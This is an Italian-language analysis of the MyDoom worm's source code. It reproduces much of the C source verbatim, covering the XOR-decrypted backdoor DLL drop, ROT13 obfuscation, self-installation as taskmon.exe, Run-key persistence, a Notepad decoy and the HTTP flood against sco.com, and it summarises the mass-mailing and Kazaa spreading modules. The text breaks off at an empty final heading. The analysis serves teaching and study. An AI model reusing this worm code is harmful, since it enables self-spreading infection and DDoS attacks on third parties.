ANALISI CODICE SORGENTE MYDOOM

Introduzione

Per comprendere il comportamento complessivo del malware e analizzarne le singole funzioni, abbiamo pensato di suddividere il codice in blocchi funzionali, ciascuno dei quali si occupa di specifiche operazioni malevole. Il malware analizzato, come molti malware sofisticati, esegue un insieme complesso di azioni che includono la persistenza nel sistema, la propagazione, e l'esecuzione di payload malevoli. Organizzare l'analisi in sezioni tematiche ci permette di esaminare in modo chiaro come ogni funzione contribuisca al funzionamento generale del malware, evidenziando anche le interazioni tra le diverse componenti.

Analisi del codice principale

Inclusioni e definizioni

```
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include "lib.h"
#include "massmail.h"
#include "scan.h"
#include "sco.h"

#include "xproxy/xproxy.inc"
```

Il codice, scritto in C, inizia definendo una struttura WIN32_LEAN_AND_MEAN, che serve ad escludere alcune funzionalita` non essenziali di Windows di modo da rendere il programma piu` leggero. Vengono poi incluse alcune librerie fondamentali come 'windows.h' e 'winsock2.h', essenziali per accedere alle funzionalita` di Windows e per gestire le comunicazioni di rete, sweguite da una serie di librerie personalizzate per eseguire funzionlita` aggiuntive come mass mailing, scansione di rete, DoS e gestione del proxy.

Struttura dei dati

```
struct sync_t {
    int first_run;
    DWORD start_tick;
    char xproxy_path[MAX_PATH];
    int xproxy_state;
    char sync_instpath[MAX_PATH];
    SYSTEMTIME sco_date;
    SYSTEMTIME termdate;
};
```

Viene definita la struttura 'sync_t,' utilizzata per memorizzare informazioni sullo stato dell'applicazione. In particolare, sono incluse:

- first_run: usata per determinare se il programma e` stato avviato per la prima volta;
- start_tick: il momento in cui il programma e` stato avviato (in millisecondi);
- xproxy_path: il percorso del file xproxy;
- xproxy_state lo stato dell'installazione del proxy, indicato da tre valori:
  - 0: sconosciuto;
  - 1: installato;
  - 2: caricato.
- sync_instpath: il percorso dell'installazione del programma.
- sco_date, termdate: date utilizzate per il controllo del tempo di esecuzione del programma.

Funzione di decrittazione

```
void decrypt1_to_file(const unsigned char *src, int src_size, HANDLE hDest)
{
    unsigned char k, buf[1024];
    int i, buf_i;
    DWORD dw;
    for (i=0,buf_i=0,k=0xC7; i<src_size; i++) {
        if (buf_i >= sizeof(buf)) {
            WriteFile(hDest, buf, buf_i, &dw, NULL);
            buf_i = 0;
        }
        buf[buf_i++] = src[i] ^ k;
        k = (k + 3 * (i % 133)) & 0xFF;
    }
    if (buf_i) WriteFile(hDest, buf, buf_i, &dw, NULL);
}
```

Il ciclo di decrittazione inizia con l'inizializzazione di alcune variabili:

- k: la variabile k viene impostata con un valore esadecimale di 0xC7 (199 in decimale) e funge da chiave per la decrittazione.
- buf: viene definito un array di 1024 byte che serve per contenere temporaneamente i dati decrittati.
- i: variabile che viene usata per scorrere i dati di origine (detti 'src').
- buf_i: tiene traccia di quanti byte sono stati inseriti nel buffer 'buf'.

Durante il ciclo di decrittazione, il programma esamina ogni byte dei dati di origine e applica l'operazione di 'XOR' (^) con la chiave 'k'. 'XOR' e` un'operazione logica che confronta i bit di due valori, restituendo 1 se i bit sono diversi e 0 se sono uguali. In questo modo, ogni byte dei dati di origine viene trasformato in un nuovo valore, producendo il byte decrittato.

Questo metodo di decrittazione e` semplice ma efficace: per ottenere i valori originali, basta applicare di nuovo 'XOR' utilizzando la stessa chiave 'k'. Dopo ogni operazione, il programma memorizza il byte decrittato nel buffer 'buf' e passa al byte successivo. Per evitare che la decrittazione sia troppo prevedibile, la chiave 'k' viene aggiornata continuamente durante il ciclo.

Quando il buffer 'buf' e` pieno, i dati vengono scritti in un file di destinazione. Alla fine del ciclo, se sono rimasti dei dati nel buffer, questi vengono anch'essi scritti nel file, assicurando che tutti i dati decrittati siano stati salvati correttamente.

Gestione del proxy

```
void payload_xproxy(struct sync_t *sync)
{
    char fname[20], fpath[MAX_PATH+20];
    HANDLE hFile;
    int i;
    rot13(fname, "fuvztncv.qyy");   /* "shimgapi.dll" */
    sync->xproxy_state = 0;
    for (i=0; i<2; i++) {
        if (i == 0)
            GetSystemDirectory(fpath, sizeof(fpath));
        else
            GetTempPath(sizeof(fpath), fpath);
        if (fpath[0] == 0) continue;
        if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
        lstrcat(fpath, fname);
        hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
            NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
            if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
                continue;
            sync->xproxy_state = 2;
            lstrcpy(sync->xproxy_path, fpath);
            break;
        }
        decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);
        CloseHandle(hFile);
        sync->xproxy_state = 1;
        lstrcpy(sync->xproxy_path, fpath);
        break;
    }

    if (sync->xproxy_state == 1) {
        LoadLibrary(sync->xproxy_path);
        sync->xproxy_state = 2;
    }
}
```

La funzione ‘payload_xproxy’ gestisce il caricamento di un file chiamato ‘shimgapi.dll’, usando una serie di passaggi per creare e verificare la sua presenza nel sistema.

Il processo inizia con la preparazione del nome del file (fname), che viene decodificato con un metodo chiamato ‘ROT13’, trasformando la stringa “fuvztncv.qyy” in “shimgapi.dll”. Successivamente, la variabile ‘xproxy_state’ viene impostata a ‘0’ per indicare che il proxy non e` ancora attivo. La funzione tenta di trovare una posizione appropriata per questo file, prima nella directory di sistema e poi nella cartella temporanea. Per ogni tentativo, il percorso di destinazione viene aggiornato e se non termina con ‘\’ questo viene aggiunto.

Quando il percorso e` pronto, la funzione prova a creare e aprire il file ‘shimgapi.dll’. La libreria DLL viene salvata nel sistema dal codice e contiene parte del payload dannoso del malware. Una volta decifrata e caricata fornisce funzionalita` aggiuntive per compromettere ulteriormente il sistema, come l’implementazione di una backdoor. Se riesce ad aprire il file, viene decriptato con la funzione ‘decrypt1_to_file’ e scritto con i dati necessari. Una volta completata questa operazione, il file viene chiuso e lo stato ‘xproxy_state’ e` aggiornato a ‘1’, e ‘xproxy_path’ salva il percorso finale del file. In caso contrario, se non riesce a creare o trovare il file, prova con un’altra posizione.

Infine, se ‘xproxy_state’ e` ‘1’, cioe` il file e` stato creato con successo, viene caricato tramite ‘LoadLibrary’, permettendogli di attivare il proxy, e ‘xproxy_state’ passa a ‘2’, indicando che il caricamento e` stato completato.

Controllo del primo avvio

```
void sync_check_frun(struct sync_t *sync)
{
    HKEY k;
    DWORD disp;
    char i, tmp[128];

    /* "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\Version" */
    rot13(tmp, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\PbzQyt32\\Irefvba");

    sync->first_run = 0;
    for (i=0; i<2; i++)
        if (RegOpenKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
            tmp, 0, KEY_READ, &k) == 0) {
            RegCloseKey(k);
            return;
        }

    sync->first_run = 1;
    for (i=0; i<2; i++)
        if (RegCreateKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
            tmp, 0, NULL, 0, KEY_WRITE, NULL, &k, &disp) == 0)
            RegCloseKey(k);
}
```

Questa funzione si occupa di verificare se il programma sta venendo eseguito per la prima volta o se e` gia` stato avviato in passato. Per farlo utilizza una chiave di registro specifica del sistema Windows come segno distintivo: se la chiave esiste significa che il programma e` gia` stato eseguito; mentre in caso contrario tale chiave deve essere creata.

Inizialmente, il programma dichiara delle variabili, tra cui ‘k’, che servira` come riferimento per la chiave di registro, e ‘tmp’, un buffer che memorizzera` il percorso della chiave di registro. La stringa ‘tmp’ viene poi popolata con il percorso della chiave, ma prima di essere usato, il percorso viene codificato con il sistema ‘ROT13’. Questo tipo di codifica sostituisce ogni lettera con un’altra a una distanza fissa (13 posti), rendendo il testo leggibile solo dopo una decodifica.

Dopo aver preparato il percorso della chiave, il programma prova a verificare se la chiave di registro esiste gia`, con un ciclo che esegue un controllo prima nella sezione del registro che e` condivisa da tutti gli utenti (HKEY_LOCAL_MACHINE) e poi in quella riservata all’utente corrente (HKEY_CURRENT_USER). Se una delle due posizioni contiene gia` questa chiave, la funzione conclude che non si tratta della prima esecuzione e termina immediatamente.

Se invece la chiave non esiste in nessuna delle due posizioni, la funzione conclude che e` la prima volta che il programma viene eseguito. A questo punto, imposta la variabile ‘sync->first_run’ a ‘1’ per indicare che si tratta della prima esecuzione e, sempre all’interno del ciclo, crea la chiave di registro nelle due posizioni. In questo modo, alle successive esecuzioni, il programma trovera` la chiave creata e sapra` che non e` la prima volta che viene avviato.

Gestione del mutex

```
int sync_mutex(struct sync_t *sync)
{
    char tmp[64];
    rot13(tmp, "FjroFvcpFzgkF0");       /* "SwebSipcSmtxS0" */
    CreateMutex(NULL, TRUE, tmp);
    return (GetLastError() == ERROR_ALREADY_EXISTS) ? 1 : 0;
}
```

La gestione del mutex serve a garantire che solo una copia del programma possa essere in esecuzione alla volta. Un mutex (mutual exclusion) e` un meccanismo di sincronizzazione utilizzato nei programmi informatici per garantire che solamente un thread o processo alla volta possano accedere a una risorsa condivisa, come una variabile, un file o una sezione di codice. Questo e` particolarmente importante nei programmi multithreaded, dove piu` thread possono tentare di eseguire operazioni simultaneamente.

Quando il programma inizia, chiama la funzione 'sync_mutex', all'interno della quale viene creata una stringa che rappresenta il nome del mutex, offuscato tramite 'ROT13'. Questa non e` immediatamente riconoscibile, rendendo piu` difficile l'analisi del malware.

Dopo aver decifrato il nome del mutex, il programma prova a crearlo: se il mutex esiste gia`, significa che un'altra istanza del programma e` gia` attiva. In tal caso, il programma restituisce un valore che indica che non puo` continuare, mentre in caso contrario crea il mutex con successo prima di procedere.

Questa tecnica e` fondamentale per il malware, perche´ consente di mantenere il controllo del sistema senza che altre copie del programma interferiscano tra loro. Inoltre, usare un nome di mutex offuscato aiuta a evitare la rilevazione da parte dei software di sicurezza, che potrebbero identificare istanze duplicate di un programma come sospette.

Installazione del programma

```
void sync_install(struct sync_t *sync)
{
    char fname[20], fpath[MAX_PATH+20], selfpath[MAX_PATH];
    HANDLE hFile;
    int i;
    rot13(fname, "gnfxzba.rkr");       /* "taskmon.exe" */

    GetModuleFileName(NULL, selfpath, MAX_PATH);
    lstrcpy(sync->sync_instpath, selfpath);
    for (i=0; i<2; i++) {
        if (i == 0)
            GetSystemDirectory(fpath, sizeof(fpath));
        else
            GetTempPath(sizeof(fpath), fpath);
        if (fpath[0] == 0) continue;
        if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
        lstrcat(fpath, fname);
        SetFileAttributes(fpath, FILE_ATTRIBUTE_ARCHIVE);
        hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
            NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
            if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
                continue;
            lstrcpy(sync->sync_instpath, fpath);
            break;
        }
        CloseHandle(hFile);
        DeleteFile(fpath);

        if (CopyFile(selfpath, fpath, FALSE) == 0) continue;
        lstrcpy(sync->sync_instpath, fpath);
        break;
    }
}
```

La funzione ‘sync_install’ definisce alcune variabili importanti. Tra queste troviamo ‘fname’, che e` utilizzata per memorizzare il nome del file dell’eseguibile, offuscato tramite ‘ROT13’, risultando in “taskmon.exe”. Successivamente, la funzione utilizza ‘GetModuleFileName’ per ottenere il percorso dell’eseguibile attualmente in esecuzione, memorizzandolo in una variabile chiamata ‘selfpath’, la quale rappresenta l’ubicazione originale del file.

La funzione adotta poi un ciclo ‘for’ per cercare di installare il file in due posizioni specifiche: la cartella di sistema, o ‘System Directory’, e la cartella temporanea, o ‘Temp Path’. Durante il ciclo, la funzione crea il percorso completo per il file, memorizzandolo in una variabile chiamata ‘fpath’, e utilizza poi la funzione ‘CreateFile’ per tentare di creare il file stesso in quella posizione.

Se, per qualche motivo, il file non puo` essere creato, la funzione esegue un controllo per verificare se il file e` presente: se il file esiste il codice aggiorna il percorso dell’installazione e termina l’esecuzione; in caso contrario, se il file viene creato correttamente, la funzione procede a copiare l’eseguibile in ‘fpath’ tramite ‘CopyFile’. Se la copia ha successo, il percorso dell’installazione viene quindi memorizzato nella struttura ‘sync’, assicurando che il malware abbia registrato la propria posizione nel sistema.

E` importante notare che se il file e` stato creato precedentemente e si sta tentando di sovrascriverlo, il codice si occupa di eliminare il file precedente utilizzando ‘DeleteFile’. Questo passaggio e` fondamentale perche´ garantisce che il malware non lasci file non necessari sul disco,

che potrebbero potenzialmente far attirare l'attenzione su di se´. Questa sequenza di operazioni permette al malware di essere installato e avviato senza attirare immediatamente l'attenzione dell'utente o dei software di sicurezza.

Avvio del programma

```
void sync_startup(struct sync_t *sync)
{
    HKEY k;
    char regpath[128];
    char valname[32];

    /* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
    rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
    rot13(valname, "GnfxZba");  /* "TaskMon" */

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0)
        if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
            return;
    RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, lstrlen(sync->sync_instpath)+1);
    RegCloseKey(k);
}
```

Dopo l'installazione, la funzione 'sync_startup' si occupa di garantire che il malware venga eseguito automaticamente ogni volta che il sistema si avvia, garantendone la persistenza. Per fare cio` definisce il percorso di registro e il nome con cui il malware verra` identificato nel registro di Windows, dati sono inizialmente codificati tramite la tecnica ROT13 per confonderli. Il percorso del registro corrisponde a una directory tipicamente riservata ai programmi che si avviano con il sistema, mentre il nome "TaskMon" e` quello che il malware usera` per camuffarsi come se fosse un programma di sistema.

Successivamente, la funzione tenta di aprire la chiave di registro, provando sia nelle impostazioni di sistema globali (HKEY_LOCAL_MACHINE) sia in quelle specifiche per l'utente corrente (HKEY_CURRENT_USER). Una volta ottenuto l'accesso a una di queste chiavi, scrive il percorso dell'eseguibile del malware nella posizione appena aperta usando la funzione 'RegSetValueEx'. In questo modo, Windows eseguira` automaticamente il malware ogni volta che il sistema viene avviato. Infine, per assicurarsi che non restino risorse aperte inutilmente, la funzione chiude la chiave di registro.

La combinazione delle due funzioni 'sync_install' e 'sync_startup' permette al malware di rimanere installato in un punto strategico del sistema e di garantirsi la riattivazione automatica a ogni avvio, aumentando la sua resistenza contro i tentativi di rimozione e rendendo piu` probabile il successo dell'infezione.

Controllo di data e ora

```
int sync_checktime(struct sync_t *sync)
{
    FILETIME ft_cur, ft_final;
    GetSystemTimeAsFileTime(&ft_cur);
    SystemTimeToFileTime(&sync->termdate, &ft_final);
    if (ft_cur.dwHighDateTime > ft_final.dwHighDateTime) return 1;
    if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return 0;
    if (ft_cur.dwLowDateTime > ft_final.dwLowDateTime) return 1;
    return 0;
}
```

Viene chiamata la funzione 'sync_checktime', che serve a controllare se una certa data e ora ('termdate') e` stata superata rispetto al momento attuale. Questa funzione svolge un ruolo legato

al controllo della persistenza e del ciclo di vita del malware, verificando se e` stata superata una data di termine che puo` essere interpretata come una sorta di "data di scadenza" oltre la quale il malware smettera` di eseguire le sue azioni malevole: questo e` un metodo comunemente utilizzato dai malware per limitare il periodo di attivita`, rendendo il proprio operato meno evidente o meno analizzabile a lungo termine. In particolare, 'sync_checktime' controlla se la data corrente e` superiore a una data preimpostata (termdate). Se la data di scadenza e` stata raggiunta, la funzione ritorna un valore che puo` essere usato per disattivare le operazioni del malware o per modificare il suo comportamento, evitandone l'esecuzione oltre la data limite.

Per fare cio`, si ottiene prima la data e ora correnti con 'GetSystemTimeAsFileTime', che memorizza il valore in 'ft_cur'. Successivamente, la funzione converte la data termdate, salvata all'interno della struttura 'sync', in un formato di 'FILETIME' e la memorizza in 'ft_final' – nelle librerie di Windows, la struttura 'FILETIME' rappresenta la data e l'ora in cui si verifica un evento o si esegue un'azione.

A questo punto, la funzione confronta i valori temporali, verificando prima di tutto il campo 'dwHighDateTime', che contiene la parte piu` significativa di data e ora: se 'ft_cur.dwHighDateTime' e` maggiore di 'ft_final.dwHighDateTime', la funzione restituisce '1', indicando che la data corrente ha superato termdate; in caso contrario restituisce '0' segnalando che non e` stata ancora superata.

Se entrambe le parti piu` significative sono uguali, la funzione passa alla parte meno significativa, 'dwLowDateTime'. Se anche qui la data corrente supera termdate, restituisce '1'; in caso contrario, restituisce '0'. Questo doppio confronto permette alla funzione di valutare in modo preciso se la data attuale e` successiva, precedente o uguale alla data specificata in termdate.

Il risultato di questo controllo puo` quindi determinare se il malware continua a funzionare sul sistema infetto o se si "spegne" per nascondersi meglio e ridurre le possibilita` di rilevamento nei controlli futuri.

```
void payload_sco(struct sync_t *sync)
{
    FILETIME ft_cur, ft_final;

/* What's the bug about "75% failures"? */

    GetSystemTimeAsFileTime(&ft_cur);
    SystemTimeToFileTime(&sync->sco_date, &ft_final);
    if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return;
    if (ft_cur.dwLowDateTime < ft_final.dwLowDateTime) return;


/* here is another bug.
   actually, the idea was to create a new thread and return; */

    for (;;) {
        scodos_main();
        Sleep(1024);
    }
}
```

La funzione 'void payload_sco' si occupa poi attivare un payload malevolo in base a un orario specifico. La sua struttura include la gestione delle due variabili temporali, 'ft_cur' e 'ft_final', che rappresentano rispettivamente l'orario attuale e l'orario di scadenza o attivazione. Come gia` menzionato, il funzionamento di questa funzione dipende dal confronto tra il tempo corrente e un termine prefissato.

La seconda parte di questo snippet inizia un ciclo 'for' infinito dove viene chiamata continuamente la funzione 'scodos_main' con una breve pausa tra un'esecuzione e l'altra. Il commento nel codice fa notare che l'intenzione originale era probabilmente quella di eseguire 'scodos_main' in un nuovo thread, evitando così` il blocco della funzione principale. E` da notare come l'assenza di un nuovo thread potrebbe causare un errore di blocco, influendo sul funzionamento complessivo: poiche´ la funzione non termina mai e non viene eseguita in un thread separato, potrebbe bloccare tutte le altre operazioni della funzione principale, come altre parti del malware che potrebbero voler continuare la propria esecuzione.

Creazione di un file Notepad

```
DWORD _stdcall sync_visual_th(LPVOID pv)
    tmp[0] = 0;
    GetTempPath(MAX_PATH, tmp);
    if (tmp[0] == 0) goto ex;
    if (tmp[lstrlen(tmp)-1] != '\\') lstrcat(tmp, "\\");
    lstrcat(tmp, "Message");

    hFile = CreateFile(tmp, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) goto ex;
    for (i=0, j=0; i < 4096; i++) {
        if (j >= (sizeof(buf)-4)) {
            WriteFile(hFile, buf, sizeof(buf), &dw, NULL);
            j = 0;
        }
        if ((xrand16() % 76) == 0) {
            buf[j++] = 13;
            buf[j++] = 10;
        } else {
            buf[j++] = (16 + (xrand16() % 239)) & 0xFF;
        }
    }
    if (j) WriteFile(hFile, buf, j, &dw, NULL);
    CloseHandle(hFile);

    wsprintf(cmd, "notepad %s", tmp);
    memset(&si, '\0', sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    if (CreateProcess(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi) == 0)
        goto ex;
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);

ex: if (tmp[0]) DeleteFile(tmp);
    ExitThread(0);
    return 0;
}
```

La funzione 'sync_visual_th' viene utilizzata per creare un file temporaneo contenente dati casuali in Notepad, con il probabile obiettivo di distrarre l'utente con un file casuale e apparentemente incomprensibile. Questo comportamento e` tipico di alcuni malware che cercano di sviare l'attenzione dell'utente mentre altre attivita` dannose vengono eseguite in background.

In particolare, la prima operazione di 'sync_visual_th' e` ottenere il percorso della directory temporanea del sistema. Il percorso viene salvato nella variabile 'tmp', a cui viene poi aggiunto il nome del file "Message", risultando in un file completo.

A questo punto, la funzione crea o sovrascrive il file "Message" nella directory temporanea con accesso in lettura e scrittura utilizzando la funzione 'CreateFile', riempendolo poi con dati generati casualmente tramite un ciclo 'for' e la funzione 'xrand16()'. Con una probabilita` di 1 su 76, viene aggiunta una nuova linea al testo mediante i caratteri '13' e '10', rispettivamente ritorno a capo e

nuova linea in ASCII, simulando un file di testo con un aspetto piu` vario e quindi leggermente piu` realistico.

Dopo aver creato il file con contenuto casuale, con la funzione 'wsprintf' si passa alla creazione di un comando di esecuzione per Notepad, che aprira` il file temporaneo "Message" per poi visualizzarlo attraverso 'CreateProcess'. La funzione attende poi che Notepad venga chiuso dall'utente (WaitForSingleObject), proseguendo solo quando cio` avviene.

Funzione principale

```
void sync_main(struct sync_t *sync)
{
    DWORD tid;

    sync->start_tick = GetTickCount();
    sync_check_frun(sync);
    if (!sync->first_run)
        if (sync_mutex(sync)) return;
    if (sync->first_run)
        CreateThread(0, 0, sync_visual_th, NULL, 0, &tid);
    payload_xproxy(sync);

    if (sync_checktime(sync)) return;

    sync_install(sync);
    sync_startup(sync);

    payload_sco(sync);

    p2p_spread();

    massmail_init();
    CreateThread(0, 0, massmail_main_th, NULL, 0, &tid);

    scan_init();
    for (;;) {
        scan_main();
        Sleep(1024);
    }
}
```

La funzione 'sync_main' e` la funzione principale del programma in cui vengono coordinate le diverse operazioni precedentemente menzionate, tra cui l'inizializzazione delle componenti principali, il controllo del tempo di esecuzione e l'attivazione di specifiche funzioni payload.

Riassumendo, quando il malware viene eseguito inizia con un controllo per verificare se e` la prima volta che il programma viene lanciato. Come gia` spiegato, se si tratta del primo avvio il programma crea un diversivo visivo aprendo un file tramite Notepad per distrarre l'utente mentre il malware inizia a operare in background. Successivamente, 'sync_main' si assicura che non ci siano copie multiple in esecuzione del malware usando la funzione 'sync_mutex' Se il malware e` effettivamente alla sua prima esecuzione, copia se´ stesso come 'taskmon.exe' in una directory di sistema e ne registra l'avvio automatico nel registro di sistema, per garantire che si riavvii a ogni accensione del computer.

A questo punto la funzione verifica che la data corrente non superi una scadenza prestabilita. Se il termine di attivita` e` scaduto, il malware si interrompe e non prosegue con le altre azioni; in caso

contrario, si procede all'attivazione del payload principale, che include un attacco di tipo (DoS), una diffusione tramite reti P2P e l'avvio di un modulo di email massivo per propagare il malware.

Come ulteriore misura per espandere la propria portata, il malware lancia anche una scansione di rete continua alla ricerca di altre macchine vulnerabili da infettare, chiamando la funzione 'scan_init' per configurare i parametri necessari per il processo di scansione per poi entrare in un ciclo 'for' infinito che invoca ripetutamente la funzione 'scan_main', responsabile della scansione effettiva.

Funzionalita` di rete

```
/* shit, MSVC inlined it to WinMain... I didn't expect. */
static void wsa_init(void)
{
    WSADATA wsadata;    /* useless shit... */
    WSAStartup(MAKEWORD(2,0), &wsadata);
}
```

La funzione 'wsa_init' ha il compito di inizializzare la libreria Windows Sockets (Winsock), fondamentale per le comunicazioni di rete su Windows. La funzione 'WSAStartup' viene chiamata con la versione di Winsock specificata da MAKEWORD(2,0), che rappresenta la versione 2.0. Questo e` un passaggio obbligatorio per i programmi che intendono utilizzare funzionalita` di rete, poiche´ 'WSAStartup' prepara l'ambiente di rete impostando le risorse necessarie e riempiendo la struttura 'WSADATA' con le informazioni di configurazione.

Avvio dell'applicazione

```
int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
    static const SYSTEMTIME termdate = { 2004,2,0,12,   2,28,57 };
    static const SYSTEMTIME sco_date = { 2004,2,0, 1,  16, 9,18 };
    struct sync_t sync0;

    xrand_init();
    wsa_init();

    memset(&sync0, '\0', sizeof(sync0));
    sync0.termdate = termdate;
    sync0.sco_date = sco_date;
    sync_main(&sync0);

    ExitProcess(0);
}
```

Al termine del codice troviamo la funzione 'WinMain' che rappresenta il punto di ingresso principale per le applicazioni Windows e svolge un ruolo cruciale nell'avvio e nella gestione dell'esecuzione dei programma, e come tale segna l'inizio di esecuzione del malware.

All'inizio della funzione vengono dichiarate le due variabili di tipo 'SYSTEMTIME', 'sco_date' e 'termdate' che rappresentano rispettivamentre l'1 e il 12 febbraio 2004. La loro dichiarazione come 'static' significa che il loro valore e` persistente e non verra` ricreato ogni volta che la funzione viene chiamata. Viene poi dichiarate una struttura 'sync_t', denominata 'sync0', utilizzata per memorizzare informazioni relative allo stato dell'applicazione.

Dopo la dichiarazione delle variabili, vengono chiamate la funzione 'xrand_init', che come visto inizializza un generatore di numeri casuali, e la funzione 'wsa_init' per inizializzare la libreria Winsock, discussa in precedenza.

Successivamente, viene utilizzato ‘memset’ per azzerare i valori all'interno della struttura ‘sync0’: questo e` fondamentale per garantire che non ci siano valori non inizializzati che potrebbero causare comportamenti indesiderati. Una volta azzerata, la struttura viene aggiornata per includere le date precedentemente dichiarate, assegnando i valori di ‘termdate’ e ‘sco_date’ ai campi corrispondenti della struttura. Viene poi chiamata la funzione ‘sync_main(&sync0)’, responsabile della gestione del flusso principale dell’applicazione, che esegue le operazioni necessarie in base alle impostazioni e agli stati memorizzati in ‘sync0’.

Infine, il codice si conclude con ‘ExitProcess(0)’, che termina l’esecuzione del programma e chiude il processo corrente, passando ‘0’ come argomento per indicare che l’applicazione e` terminata senza errori.

Analisi dei codici secondari

Massmail.c

Implementa un sistema di invio massivo di email.

La funzione ‘massmail_main’ funge da ciclo principale per elaborazione delle email, per la gestione dei thread e per garantire che l’invio delle email non sovraccarichi il sistema.

Il malware puo` anche estrarre il domain name degli indirizzi e-mail infetti e anteporre loro un nome da un elenco di nomi utente comuni come ad esempio: John, Joe, Sam, David, Julie, Anna ecc.

Mydoom ottiene anche i server di posta dei domanin name che ha estratto e in questo modo ha la capacita` di bypassare il server SMTP (Simple Mail Transfer Protocol) e comunicare direttamente con il server di posta della vittima. Il malware utilizza il proprio motore SMTP come mezzo per generare e inviare messaggi di posta elettronica a destinatari ignari. SMTP e` un protocollo TCP/IP utilizzato per inviare e ricevere e-mail il cui scopo e` quello di trasferire la posta in modo affidabile ed efficiente.

Quanto sopra riportato viene effettuato dalla funzione ‘mmsender’ che e` responsabile dell’invio di un’email utilizzando il protocollo SMTP.

p2p.c

La funzione ‘p2p_spread’ e` progettata per gestire la diffusione di un file in un contesto di peer-to-peer (P2P), specificamente nel software Kazaa. KaZaA Media Desktop e` stata un'applicazione peer-to-peer per il file sharing sviluppata tra il 2002 ed il 2006 che utilizzava il protocollo ‘FastTrack’ ed era adoperata per scambiare file musicali MP3 e film.

La funzione mira a copiare l’eseguibile corrente nella directory di Kazaa, rinominandolo con un nome e un’estensione casuali così` da indurre così` gli altri utenti del peer-to-peer a scaricarlo ed attivarlo. I file scaricati nella directory condivisa della rete Kazaa non vengono mai esaminati e ogni file nella cartella viene condiviso piu` volte sulla rete. Quindi, se un singolo file viene infettato dal virus MyDoom, si diffonde molto velocemente sulla rete Kazaa.

Viene poi utilizzato ‘ROT13’ per decodificare il percorso della chiave di registro e il nome della chiave.

Sco.c

Implementa una funzionalita` di tipo botnet o di attacco DDoS.

Dal primo febbraio fino al 12 febbraio, quando cessera` ogni attivita`, MyDoom tentera` di far partire una aggressione di tipo DDoS contro il sito http://www.sco.com.

```
#define SCO_SITE_ROT13 "jjj.fpb.pbz"    /* www.sco.com */
#define SCO_PORT 80
#define SCODOS_THREADS 64
```

- SCO_SITE_ROT13: e` l'indirizzo di un sito web (in questo caso, www.sco.com). L'uso di ROT13 per mascherare l'URL e` un metodo semplice di offuscamento, ma non fornisce alcuna sicurezza reale.
- SCO_PORT: e` impostato su 80, che e` la porta standard per HTTP.
- SCODOS_THREADS: definisce il numero massimo di thread che verranno creati.

static DWORD _stdcall scodos_th(LPVOID pv)

Con questa funzione si rappresenta il thread secondario che si occupa di inviare richieste HTTP al server specificato. Viene costruito un messaggio HTTP GET per il sito rotato e viene poi effettuato un ciclo infinito in cui tenta di connettersi al server e inviare la richiesta.

```
static DWORD _stdcall scodos_th(LPVOID pv)
{
    struct sockaddr_in addr;
    char buf[512];
    int sock;

    rot13(buf,
        /*
         * "GET / HTTP/1.1\r\n"
         * "Host: www.sco.com\r\n"
         * "\r\n";
         */
        "TRG / UGGC/1.1\r\n"
        "Ubfg: " SCO_SITE_ROT13 "\r\n"
        "\r\n");

    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
    if (pv == NULL) goto ex;
    addr = *(struct sockaddr_in *)pv;
    for (;;) {
        sock = connect_tv(&addr, 8);
        if (sock != 0) {
            send(sock, buf, lstrlen(buf), 0);
            Sleep(300);
            closesocket(sock);
        }
    }
ex: ExitThread(0);
    return 0;
}
```

Scan.c

Il codice serve per cercare e raccogliere indirizzi email da file di testo e directory, utilizzando diverse tecniche di normalizzazione e conversione per assicurarsi che le email siano riconosciute correttamente.

La funzione principale per la scansione delle email e` costituita da ‘scantext_extract_ats’, la quale ricerca nel buffer le email valide. Tale ricerca viene effettuata utilizzando: una tabella (mail_chars) al fine di determinare quali caratteri nelle email siano validi, scorrendo il buffer alla ricerca del simbolo ‘@’. Una volta individuata un’email valida questa viene inviata alla funzione ‘scan_out’ perche´ venga aggiunta alla coda di invio.

Possibili modifiche o aggiornamenti

